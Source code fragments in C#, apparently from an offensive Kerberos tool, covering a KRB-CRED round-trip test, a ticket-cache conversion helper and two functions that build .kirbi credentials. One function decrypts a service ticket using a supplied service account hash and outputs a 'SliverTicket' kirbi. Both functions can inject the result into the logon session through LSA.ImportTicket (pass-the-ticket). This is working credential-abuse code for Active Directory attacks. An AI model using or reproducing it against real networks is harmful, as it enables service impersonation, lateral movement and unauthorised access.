public void CredPartRoundtrip() { KrbEncKrbCredPart part = new KrbEncKrbCredPart { Nonce = 123, RAddress = new KrbHostAddress { Address = Encoding.ASCII.GetBytes("blaaaaaaaah"), AddressType = AddressType.NetBios }, SAddress = new KrbHostAddress { Address = Encoding.ASCII.GetBytes("server"), AddressType = AddressType.NetBios }, Timestamp = DateTimeOffset.UtcNow, USec = 123, TicketInfo = new[] { new KrbCredInfo { AuthorizationData = new KrbAuthorizationData[] { new KrbAuthorizationData { Data = Array.Empty <byte>(), Type = AuthorizationDataType.AdAndOr } }, AuthTime = DateTimeOffset.UtcNow, EndTime = DateTimeOffset.UtcNow, RenewTill = DateTimeOffset.UtcNow, Flags = TicketFlags.Anonymous, Key = KrbEncryptionKey.Generate(EncryptionType.AES128_CTS_HMAC_SHA1_96), PName = new KrbPrincipalName { Name = new[] { "pname" }, Type = PrincipalNameType.NT_ENTERPRISE }, Realm = "realm.com", SName = new KrbPrincipalName { Name = new[] { "server" }, Type = PrincipalNameType.NT_ENTERPRISE }, SRealm = "srealm.com", StartTime = DateTimeOffset.UtcNow } } }; var encoded = part.EncodeApplication(); var decoded = KrbEncKrbCredPart.DecodeApplication(encoded); Assert.IsNotNull(decoded); Assert.AreEqual(part.Nonce, decoded.Nonce); Assert.AreEqual(1, part.TicketInfo.Length); }
public static TicketCacheEntry ConvertKrbCredToCacheEntry(KrbEncKrbCredPart credPart, KrbTicket ticket, KrbCredInfo ticketInfo) { var key = new byte[ticketInfo.Key.KeyValue.Length]; ticketInfo.Key.KeyValue.CopyTo(key); var usage = KeyUsage.EncTgsRepPartSessionKey; var sessionKey = new KrbEncryptionKey { EType = ticketInfo.Key.EType, Usage = usage, KeyValue = key }; var kdcRepData = new KrbEncTgsRepPart { AuthTime = ticketInfo.AuthTime ?? DateTimeOffset.UtcNow, EndTime = ticketInfo.EndTime ?? DateTimeOffset.MaxValue, Flags = ticketInfo.Flags, Key = sessionKey, Nonce = credPart.Nonce ?? 0, Realm = ticketInfo.Realm, RenewTill = ticketInfo.RenewTill, SName = ticketInfo.SName, StartTime = ticketInfo.StartTime ?? DateTimeOffset.MinValue, LastReq = Array.Empty <KrbLastReq>() }; return(new TicketCacheEntry { Key = ticket.SName.FullyQualifiedName, Expires = ticketInfo.EndTime ?? DateTimeOffset.MaxValue, RenewUntil = ticketInfo.RenewTill, Value = new KerberosClientCacheEntry { SessionKey = sessionKey, AuthTime = kdcRepData.AuthTime, StartTime = kdcRepData.StartTime, EndTime = kdcRepData.EndTime, RenewTill = kdcRepData.RenewTill, Flags = kdcRepData.Flags, SName = kdcRepData.SName, KdcResponse = new KrbTgsRep { Ticket = ticket, CName = ticketInfo.PName, CRealm = ticketInfo.Realm, EncPart = KrbEncryptedData.Encrypt(kdcRepData.EncodeApplication(), sessionKey.AsKey(), usage) } } }); }
//FROM TGS_REP public static byte[] toKirbi(KrbTgsRep tgsRep, KrbEncTgsRepPart tgsDecryptedRepPart, bool ptt = false) { //KrbCredInfo::= SEQUENCE { // key[0] EncryptionKey, //prealm[1] Realm OPTIONAL, //pname[2] PrincipalName OPTIONAL, //flags[3] TicketFlags OPTIONAL, //authtime[4] KerberosTime OPTIONAL, //starttime[5] KerberosTime OPTIONAL, //endtime[6] KerberosTime OPTIONAL //renew - till[7] KerberosTime OPTIONAL, //srealm[8] Realm OPTIONAL, //sname[9] PrincipalName OPTIONAL, //caddr[10] HostAddresses OPTIONAL //} var info = new KrbCredInfo() { Key = tgsDecryptedRepPart.Key, Realm = tgsDecryptedRepPart.Realm, PName = tgsRep.CName, Flags = tgsDecryptedRepPart.Flags, StartTime = tgsDecryptedRepPart.StartTime, EndTime = tgsDecryptedRepPart.EndTime, RenewTill = tgsDecryptedRepPart.RenewTill, SRealm = tgsDecryptedRepPart.Realm, SName = tgsDecryptedRepPart.SName }; //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { //ticket-info[0] SEQUENCE OF KrbCredInfo, //nonce[1] INTEGER OPTIONAL, //timestamp[2] KerberosTime OPTIONAL, //usec[3] INTEGER OPTIONAL, //s-address[4] HostAddress OPTIONAL, //r-address[5] HostAddress OPTIONAL //} KrbCredInfo[] infos = { info }; var encCredPart = new KrbEncKrbCredPart() { TicketInfo = infos }; //KRB-CRED ::= [APPLICATION 22] SEQUENCE { //pvno[0] INTEGER, //msg - type[1] INTEGER, --KRB_CRED //tickets[2] SEQUENCE OF Ticket, //enc - part[3] EncryptedData //} var myCred = new KrbCred(); myCred.ProtocolVersionNumber = 5; myCred.MessageType = MessageType.KRB_CRED; KrbTicket[] tickets = { tgsRep.Ticket }; myCred.Tickets = tickets; var encryptedData = new KrbEncryptedData() { Cipher = encCredPart.EncodeApplication(), }; myCred.EncryptedPart = encryptedData; byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } return(kirbiBytes); }
//FROM TGS public static byte[] toKirbi(KrbTicket tgs, string srvName, string srvHash, EncryptionType etype, string service, bool ptt = false, bool verbose = false) { var kerbCred = new Utils.KerberosHashCreds(srvName, srvHash, etype); var ticketDecrypted = tgs.EncryptedPart.Decrypt (kerbCred.CreateKey(), KeyUsage.Ticket, b => KrbEncTicketPart.DecodeApplication(b)); //KrbCredInfo::= SEQUENCE { // key[0] EncryptionKey, //prealm[1] Realm OPTIONAL, //pname[2] PrincipalName OPTIONAL, //flags[3] TicketFlags OPTIONAL, //authtime[4] KerberosTime OPTIONAL, //starttime[5] KerberosTime OPTIONAL, //endtime[6] KerberosTime OPTIONAL //renew - till[7] KerberosTime OPTIONAL, //srealm[8] Realm OPTIONAL, //sname[9] PrincipalName OPTIONAL, //caddr[10] HostAddresses OPTIONAL //} string srvHost = null; if (srvName.Contains("$")) { srvHost = srvName.Replace("$", string.Empty) + "." + ticketDecrypted.CRealm; } else { srvHost = srvName; } var info = new KrbCredInfo() { Key = ticketDecrypted.Key, Realm = ticketDecrypted.CRealm, PName = ticketDecrypted.CName, Flags = ticketDecrypted.Flags, StartTime = ticketDecrypted.StartTime, EndTime = ticketDecrypted.EndTime, RenewTill = ticketDecrypted.RenewTill, SRealm = ticketDecrypted.CRealm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { service, srvHost } } }; //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { //ticket-info[0] SEQUENCE OF KrbCredInfo, //nonce[1] INTEGER OPTIONAL, //timestamp[2] KerberosTime OPTIONAL, //usec[3] INTEGER OPTIONAL, //s-address[4] HostAddress OPTIONAL, //r-address[5] HostAddress OPTIONAL //} KrbCredInfo[] infos = { info }; var encCredPart = new KrbEncKrbCredPart() { TicketInfo = infos }; //KRB-CRED ::= [APPLICATION 22] SEQUENCE { //pvno[0] INTEGER, //msg - type[1] INTEGER, --KRB_CRED //tickets[2] SEQUENCE OF Ticket, //enc - part[3] EncryptedData //} var myCred = new KrbCred(); myCred.ProtocolVersionNumber = 5; myCred.MessageType = MessageType.KRB_CRED; KrbTicket[] tickets = { tgs }; myCred.Tickets = tickets; //https://github.com/dirkjanm/krbrelayx/blob/master/lib/utils/kerberos.py#L220 //No Encryption for KRB-CRED var encryptedData = new KrbEncryptedData() { Cipher = encCredPart.EncodeApplication() }; myCred.EncryptedPart = encryptedData; byte[] kirbiBytes = myCred.EncodeApplication().ToArray(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { LSA.ImportTicket(kirbiBytes, new LUID()); } else { Console.WriteLine("[+] SliverTicket Ticket Kirbi:"); Console.WriteLine(" - {0}", kirbiString); } if (verbose) { Console.WriteLine("[*] Ticket Info:"); PrintFunc.PrintKirbi(kirbiString); } return(kirbiBytes); }